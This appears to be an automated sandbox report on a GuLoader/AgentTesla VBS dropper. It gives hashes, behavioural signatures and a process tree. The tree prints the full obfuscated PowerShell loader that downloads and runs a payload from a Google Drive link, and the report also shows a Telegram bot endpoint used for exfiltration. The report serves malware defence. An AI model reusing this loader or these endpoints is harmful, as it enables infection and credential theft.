Analysis
-
max time kernel
144s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
08-02-2023 18:41
Static task
static1
Behavioral task
behavioral1
Sample
Articolo nuovo ordine.vbs
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
Articolo nuovo ordine.vbs
Resource
win10v2004-20221111-en
General
-
Target
Articolo nuovo ordine.vbs
-
Size
124KB
-
MD5
a2e30a66600d06ce64856277fe843f07
-
SHA1
c4553901c5cc29463e0b38ddf2577cfcbad53953
-
SHA256
d35688b52bc5bb7819e2049e7271eb5a3084ba07febfc4ac74004fb0d9d6875c
-
SHA512
bdb62b38953f726e58ef72617f8c54b61e0ee4b14d5459fe30b4373d49b55574893418670438325c75d54b99d1c34d70f8563a376c2939c33b857463936f0bc8
-
SSDEEP
3072:Fy0q3Cj8Lqba9hy7jPcWCuHzq0+gAphyx:g0w/me9hyX9HW0+1M
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=1B3MRGXuZWdG46eXHp6A71YeYmlVrmaBx
Extracted
agenttesla
https://api.telegram.org/bot5693068931:AAGSQSNIWDJM1FzeZVNHS020I9wVBrQdkRM/
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 4 IoCs
Processes:
WScript.exepowershell.exeflow pid process 3 3920 WScript.exe 8 3920 WScript.exe 10 1432 powershell.exe 13 1432 powershell.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
powershell.execaspol.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe caspol.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe Key opened \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe Key opened \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
caspol.exepid process 3592 caspol.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.execaspol.exepid process 1432 powershell.exe 3592 caspol.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1432 set thread context of 3592 1432 powershell.exe caspol.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
WScript.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 1976 powershell.exe 1976 powershell.exe 1432 powershell.exe 1432 powershell.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
Processes:
powershell.exepid process 1432 powershell.exe 1432 powershell.exe 1432 powershell.exe 1432 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.execaspol.exedescription pid process Token: SeDebugPrivilege 1976 powershell.exe Token: SeDebugPrivilege 1432 powershell.exe Token: SeDebugPrivilege 3592 caspol.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 3920 wrote to memory of 4244 3920 WScript.exe cmd.exe PID 3920 wrote to memory of 4244 3920 WScript.exe cmd.exe PID 3920 wrote to memory of 4148 3920 WScript.exe cmd.exe PID 3920 wrote to memory of 4148 3920 WScript.exe cmd.exe PID 3920 wrote to memory of 1976 3920 WScript.exe powershell.exe PID 3920 wrote to memory of 1976 3920 WScript.exe powershell.exe PID 1976 wrote to memory of 1432 1976 powershell.exe powershell.exe PID 1976 wrote to memory of 1432 1976 powershell.exe powershell.exe PID 1976 wrote to memory of 1432 1976 powershell.exe powershell.exe PID 1432 wrote to memory of 3596 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3596 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3596 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3600 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3600 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3600 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3744 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3744 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3744 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3592 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3592 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3592 1432 powershell.exe caspol.exe PID 1432 wrote to memory of 3592 1432 powershell.exe caspol.exe -
outlook_office_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe -
outlook_win_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Articolo nuovo ordine.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3920 -
C:\Windows\System32\cmd.execmd /c echo off2⤵PID:4244
-
C:\Windows\System32\cmd.execmd /c echo rshell2⤵PID:4148
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Pardeemu = """Function Quokkas11 { param([String]`$Hippoc); `$Dandiesha = ''; Write-Host `$Dandiesha; Write-Host `$Dandiesha; Write-Host `$Dandiesha; `$Knap = New-Object byte[] (`$Hippoc.Length / 2); For(`$Testim=0; `$Testim -lt `$Hippoc.Length; `$Testim+=2){ `$Knap[`$Testim/2] = [convert]::ToByte(`$Hippoc.Substring(`$Testim, 2), 16); `$Druer = (`$Knap[`$Testim/2] -bxor 230); `$Knap[`$Testim/2] = `$Druer; } [String][System.Text.Encoding]::ASCII.GetString(`$Knap);}`$Soliste0=Quokkas11 'B59F9592838BC8828A8A';`$Soliste1=Quokkas11 'AB8F85948995898092C8B18F88D5D4C8B38895878083A887928F9083AB83928E898295';`$Soliste2=Quokkas11 'A18392B6948985A7828294839595';`$Soliste3=Quokkas11 'B59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380';`$Soliste4=Quokkas11 '9592948F8881';`$Soliste5=Quokkas11 'A18392AB8982938A83AE8788828A83';`$Soliste6=Quokkas11 'B4B2B59683858F878AA8878B83CAC6AE8F8283A49FB58F81CAC6B693848A8F85';`$Soliste7=Quokkas11 'B49388928F8B83CAC6AB878887818382';`$Soliste8=Quokkas11 'B483808A8385928382A2838A8381879283';`$Soliste9=Quokkas11 'AF88AB838B89949FAB8982938A83';`$Opskyl0=Quokkas11 'AB9FA2838A8381879283B29F9683';`$Opskyl1=Quokkas11 'A58A879595CAC6B693848A8F85CAC6B583878A8382CAC6A788958FA58A879595CAC6A7939289A58A879595';`$Opskyl2=Quokkas11 'AF8890898D83';`$Opskyl3=Quokkas11 'B693848A8F85CAC6AE8F8283A49FB58F81CAC6A88391B58A8992CAC6B08F949293878A';`$Opskyl4=Quokkas11 'B08F949293878AA78A8A8985';`$Opskyl5=Quokkas11 '8892828A8A';`$Opskyl6=Quokkas11 'A892B6948992838592B08F949293878AAB838B89949F';`$Opskyl7=Quokkas11 'AFA3BE';`$Opskyl8=Quokkas11 'BA';`$Forstuved=Quokkas11 'B3B5A3B4D5D4';`$Ebdom=Quokkas11 'A5878A8AB18F88828991B6948985A7';function fkp {Param (`$Demoralize, `$Xylopialiv) ;`$Streng0 =Quokkas11 'C2B294838087958382838BC6DBC6CEBDA79696A2898B878F88BBDCDCA5939494838892A2898B878F88C8A18392A79595838B848A8F8395CECFC69AC6B18E839483CBA9848C838592C69DC6C2B9C8A18A8984878AA79595838B848A9FA587858E83C6CBA78882C6C2B9C8AA898587928F8988C8B5968A8F92CEC2A996958D9F8ADECFBDCBD7BBC8A39793878A95CEC2B5898A8F959283D6CFC69BCFC8A18392B29F9683CEC2B5898A8F959283D7CF';.(`$Opskyl7) `$Streng0;`$Streng5 = Quokkas11 'C2A1938F8287818387C6DBC6C2B294838087958382838BC8A18392AB83928E8982CEC2B5898A8F959283D4CAC6BDB29F9683BDBBBBC6A6CEC2B5898A8F959283D5CAC6C2B5898A8F959283D2CFCF';.(`$Opskyl7) `$Streng5;`$Streng1 = Quokkas11 '948392939488C6C2A1938F8287818387C8AF8890898D83CEC288938A8ACAC6A6CEBDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380BBCEA88391CBA9848C838592C6B59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380CECEA88391CBA9848C838592C6AF8892B69294CFCAC6CEC2B294838087958382838BC8A18392AB83928E8982CEC2B5898A8F959283D3CFCFC8AF8890898D83CEC288938A8ACAC6A6CEC2A2838B8994878A8F9C83CFCFCFCFCAC6C2BE9F8A89968F878A8F90CFCF';.(`$Opskyl7) `$Streng1;}function GDT {Param ([Parameter(Position = 0, Mandatory = `$True)] [Type[]] `$Knased,[Parameter(Position = 1)] [Type] `$Microk = [Void]);`$Streng2 = Quokkas11 'C2B59284838089948B83D4D5D7C6DBC6BDA79696A2898B878F88BBDCDCA5939494838892A2898B878F88C8A283808F8883A29F88878B8F85A79595838B848A9FCECEA88391CBA9848C838592C6B59F9592838BC8B483808A8385928F8988C8A79595838B848A9FA8878B83CEC2B5898A8F959283DECFCFCAC6BDB59F9592838BC8B483808A8385928F8988C8A38B8F92C8A79595838B848A9FA4938F8A828394A78585839595BBDCDCB49388CFC8A283808F8883A29F88878B8F85AB8982938A83CEC2B5898A8F959283DFCAC6C280878A9583CFC8A283808F8883B29F9683CEC2A996958D9F8AD6CAC6C2A996958D9F8AD7CAC6BDB59F9592838BC8AB938A928F85879592A2838A8381879283BBCF';.(`$Opskyl7) `$Streng2;`$Streng3 = Quokkas11 'C2B59284838089948B83D4D5D7C8A283808F8883A589889592949385928994CEC2B5898A8F959283D0CAC6BDB59F9592838BC8B483808A8385928F8988C8A5878A8A8F8881A58988908388928F898895BBDCDCB592878882879482CAC6C2AD8887958382CFC8B58392AF8B968A838B83889287928F8988A08A878195CEC2B5898A8F959283D1CF';.(`$Opskyl7) `$Streng3;`$Streng4 = Quokkas11 'C2B59284838089948B83D4D5D7C8A283808F8883AB83928E8982CEC2A996958D9F8AD4CAC6C2A996958D9F8AD5CAC6C2AB8F8594898DCAC6C2AD8887958382CFC8B58392AF8B968A838B83889287928F8988A08A878195CEC2B5898A8F959283D1CF';.(`$Opskyl7) `$Streng4;`$Streng5 = Quokkas11 '948392939488C6C2B59284838089948B83D4D5D7C8A59483879283B29F9683CECF';.(`$Opskyl7) `$Streng5 ;}`$Alde36 = Quokkas11 '8D839488838AD5D4';`$Quokkas03 = Quokkas11 'A18392A5898895898A83B18F88828991';`$Quokkas00=Quokkas11 'B58E8991B18F88828991';`$Quokkas01 = Quokkas11 'C2A4938B9593858DD5D7C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A08994959293908382C6C2B793898D8D8795D6D6CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDB3AF8892D5D4BBCFC6CEBDAF8892B69294BBCFCFCF';.(`$Opskyl7) `$Quokkas01;`$Quokkas02 = Quokkas11 'C2B083888AD7DFD1C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A78A8283D5D0C6C2B793898D8D8795D6D5CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCFC6CEBDAF8892B69294BBCFCFCF';.(`$Opskyl7) `$Quokkas02;`$Streng7 = Quokkas11 'C2B38887848795838296C6DBC6C2B083888AD7DFD1C8AF8890898D83CED6CF';.(`$Opskyl7) `$Streng7;`$Streng7 = Quokkas11 'C2A4938B9593858DD5D7C8AF8890898D83CEC2B38887848795838296CAC6D6CF';.(`$Opskyl7) `$Streng7;`$Streng6 = Quokkas11 'C2A493838AC6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A78A8283D5D0C6C2A996958D9F8AD2CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDB3AF8892D5D4BBCAC6BDB3AF8892D5D4BBCAC6BDB3AF8892D5D4BBCFC6CEBDAF8892B69294BBCFCFCF';.(`$Opskyl7) `$Streng6;`$Outbl = fkp `$Opskyl5 `$Opskyl6;`$Streng7 = Quokkas11 'C2A2838B8F8B8988D5C6DBC6C2A493838AC8AF8890898D83CEBDAF8892B69294BBDCDCBC839489CAC6D0D3D0CAC6D69ED5D6D6D6CAC6D69ED2D6CF';.(`$Opskyl7) `$Streng7;`$Streng8 = Quokkas11 'C2B483878A8F95928FD7DEDFC6DBC6C2A493838AC8AF8890898D83CEBDAF8892B69294BBDCDCBC839489CAC6DFD2DFD1D5DFD3D4CAC6D69ED5D6D6D6CAC6D69ED2CF';.(`$Opskyl7) `$Streng8;`$Quokkas01 = 'https://drive.google.com/uc?export=download&id=1B3MRGXuZWdG46eXHp6A71YeYmlVrmaBx';`$Quokkas00 = Quokkas11 'C2A58E8F8D8788839488DEC6DBC6CEA88391CBA9848C838592C6A88392C8B18384A58A8F838892CFC8A28991888A898782B592948F8881CEC2B793898D8D8795D6D7CF';`$Streng8 = Quokkas11 'C2A2838B8F8B8988D4DBC2838890DC87969682879287';.(`$Opskyl7) `$Streng8;`$Demimon2=`$Demimon2+'\Tusneldas.dat';`$Chikanern8='';if (-not(Test-Path `$Demimon2)) {while (`$Chikanern8 -eq '') {.(`$Opskyl7) `$Quokkas00;Start-Sleep 5;}Set-Content `$Demimon2 `$Chikanern8;}`$Chikanern8 = Get-Content `$Demimon2;`$Streng9 = Quokkas11 'C2B59294838881C6DBC6BDB59F9592838BC8A5898890839492BBDCDCA094898BA4879583D0D2B592948F8881CEC2A58E8F8D8788839488DECF';.(`$Opskyl7) `$Streng9;`$Chikanern80 = Quokkas11 'BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA589969FCEC2B59294838881CAC6D6CAC6C6C2A2838B8F8B8988D5CAC6D0D3D0CF';.(`$Opskyl7) `$Chikanern80;`$Maskinfejl103=`$Streng.count-656;`$Chikanern81 = Quokkas11 'BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA589969FCEC2B59294838881CAC6D0D3D0CAC6C2B483878A8F95928FD7DEDFCAC6C2AB87958D8F8880838C8AD7D6D5CF';.(`$Opskyl7) `$Chikanern81;`$Chikanern82 = Quokkas11 'C2B592898981838F8892C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A08994959293908382C6C2A38482898BCFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCFC6CEBDAF8892B69294BBCFCFCF';.(`$Opskyl7) `$Chikanern82;`$Chikanern83 = Quokkas11 'C2B592898981838F8892C8AF8890898D83CEC2A2838B8F8B8988D5CAC2B483878A8F95928FD7DEDFCAC2A99392848ACAD6CAD6CF';.(`$Opskyl7) `$Chikanern83#;""";Function Chikanern89 { param([String]$Hippoc); For($Testim=0; $Testim -lt $Hippoc.Length-1; $Testim+=(0+1)){$Quokkas = $Quokkas + $Hippoc.Substring($Testim, 1)}; $Quokkas;}$Weaknesses0 = Chikanern89 'IEX ';$Weaknesses1= Chikanern89 $Pardeemu;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Weaknesses1 ;}else{.$Weaknesses0 $Weaknesses1;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Quokkas11 { param([String]$Hippoc); $Dandiesha = ''; Write-Host $Dandiesha; Write-Host $Dandiesha; Write-Host $Dandiesha; $Knap = New-Object byte[] ($Hippoc.Length / 2); For($Testim=0; $Testim -lt $Hippoc.Length; $Testim+=2){ $Knap[$Testim/2] = [convert]::ToByte($Hippoc.Substring($Testim, 2), 16); $Druer = ($Knap[$Testim/2] -bxor 230); $Knap[$Testim/2] = $Druer; } [String][System.Text.Encoding]::ASCII.GetString($Knap);}$Soliste0=Quokkas11 'B59F9592838BC8828A8A';$Soliste1=Quokkas11 'AB8F85948995898092C8B18F88D5D4C8B38895878083A887928F9083AB83928E898295';$Soliste2=Quokkas11 'A18392B6948985A7828294839595';$Soliste3=Quokkas11 'B59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380';$Soliste4=Quokkas11 '9592948F8881';$Soliste5=Quokkas11 'A18392AB8982938A83AE8788828A83';$Soliste6=Quokkas11 'B4B2B59683858F878AA8878B83CAC6AE8F8283A49FB58F81CAC6B693848A8F85';$Soliste7=Quokkas11 'B49388928F8B83CAC6AB878887818382';$Soliste8=Quokkas11 'B483808A8385928382A2838A8381879283';$Soliste9=Quokkas11 'AF88AB838B89949FAB8982938A83';$Opskyl0=Quokkas11 'AB9FA2838A8381879283B29F9683';$Opskyl1=Quokkas11 'A58A879595CAC6B693848A8F85CAC6B583878A8382CAC6A788958FA58A879595CAC6A7939289A58A879595';$Opskyl2=Quokkas11 'AF8890898D83';$Opskyl3=Quokkas11 'B693848A8F85CAC6AE8F8283A49FB58F81CAC6A88391B58A8992CAC6B08F949293878A';$Opskyl4=Quokkas11 'B08F949293878AA78A8A8985';$Opskyl5=Quokkas11 '8892828A8A';$Opskyl6=Quokkas11 'A892B6948992838592B08F949293878AAB838B89949F';$Opskyl7=Quokkas11 'AFA3BE';$Opskyl8=Quokkas11 'BA';$Forstuved=Quokkas11 'B3B5A3B4D5D4';$Ebdom=Quokkas11 'A5878A8AB18F88828991B6948985A7';function fkp {Param ($Demoralize, $Xylopialiv) ;$Streng0 =Quokkas11 'C2B294838087958382838BC6DBC6CEBDA79696A2898B878F88BBDCDCA5939494838892A2898B878F88C8A18392A79595838B848A8F8395CECFC69AC6B18E839483CBA9848C838592C69DC6C2B9C8A18A8984878AA79595838B848A9FA587858E83C6CBA78882C6C2B9C8AA898587928F8988C8B5968A8F92CEC2A996958D9F8ADECFBDCBD7BBC8A39793878A95CEC2B5898A8F959283D6CFC69BCFC8A18392B29F9683CEC2B5898A8F959283D7CF';.($Opskyl7) $Streng0;$Streng5 = Quokkas11 'C2A1938F8287818387C6DBC6C2B294838087958382838BC8A18392AB83928E8982CEC2B5898A8F959283D4CAC6BDB29F9683BDBBBBC6A6CEC2B5898A8F959283D5CAC6C2B5898A8F959283D2CFCF';.($Opskyl7) $Streng5;$Streng1 = Quokkas11 '948392939488C6C2A1938F8287818387C8AF8890898D83CEC288938A8ACAC6A6CEBDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380BBCEA88391CBA9848C838592C6B59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380CECEA88391CBA9848C838592C6AF8892B69294CFCAC6CEC2B294838087958382838BC8A18392AB83928E8982CEC2B5898A8F959283D3CFCFC8AF8890898D83CEC288938A8ACAC6A6CEC2A2838B8994878A8F9C83CFCFCFCFCAC6C2BE9F8A89968F878A8F90CFCF';.($Opskyl7) $Streng1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Knased,[Parameter(Position = 1)] [Type] $Microk = [Void]);$Streng2 = Quokkas11 'C2B59284838089948B83D4D5D7C6DBC6BDA79696A2898B878F88BBDCDCA5939494838892A2898B878F88C8A283808F8883A29F88878B8F85A79595838B848A9FCECEA88391CBA9848C838592C6B59F9592838BC8B483808A8385928F8988C8A79595838B848A9FA8878B83CEC2B5898A8F959283DECFCFCAC6BDB59F9592838BC8B483808A8385928F8988C8A38B8F92C8A79595838B848A9FA4938F8A828394A78585839595BBDCDCB49388CFC8A283808F8883A29F88878B8F85AB8982938A83CEC2B5898A8F959283DFCAC6C280878A9583CFC8A283808F8883B29F9683CEC2A996958D9F8AD6CAC6C2A996958D9F8AD7CAC6BDB59F9592838BC8AB938A928F85879592A2838A8381879283BBCF';.($Opskyl7) $Streng2;$Streng3 = Quokkas11 'C2B59284838089948B83D4D5D7C8A283808F8883A589889592949385928994CEC2B5898A8F959283D0CAC6BDB59F9592838BC8B483808A8385928F8988C8A5878A8A8F8881A58988908388928F898895BBDCDCB592878882879482CAC6C2AD8887958382CFC8B58392AF8B968A838B83889287928F8988A08A878195CEC2B5898A8F959283D1CF';.($Opskyl7) $Streng3;$Streng4 = Quokkas11 'C2B59284838089948B83D4D5D7C8A283808F8883AB83928E8982CEC2A996958D9F8AD4CAC6C2A996958D9F8AD5CAC6C2AB8F8594898DCAC6C2AD8887958382CFC8B58392AF8B968A838B83889287928F8988A08A878195CEC2B5898A8F959283D1CF';.($Opskyl7) $Streng4;$Streng5 = Quokkas11 '948392939488C6C2B59284838089948B83D4D5D7C8A59483879283B29F9683CECF';.($Opskyl7) $Streng5 ;}$Alde36 = Quokkas11 '8D839488838AD5D4';$Quokkas03 = Quokkas11 'A18392A5898895898A83B18F88828991';$Quokkas00=Quokkas11 'B58E8991B18F88828991';$Quokkas01 = Quokkas11 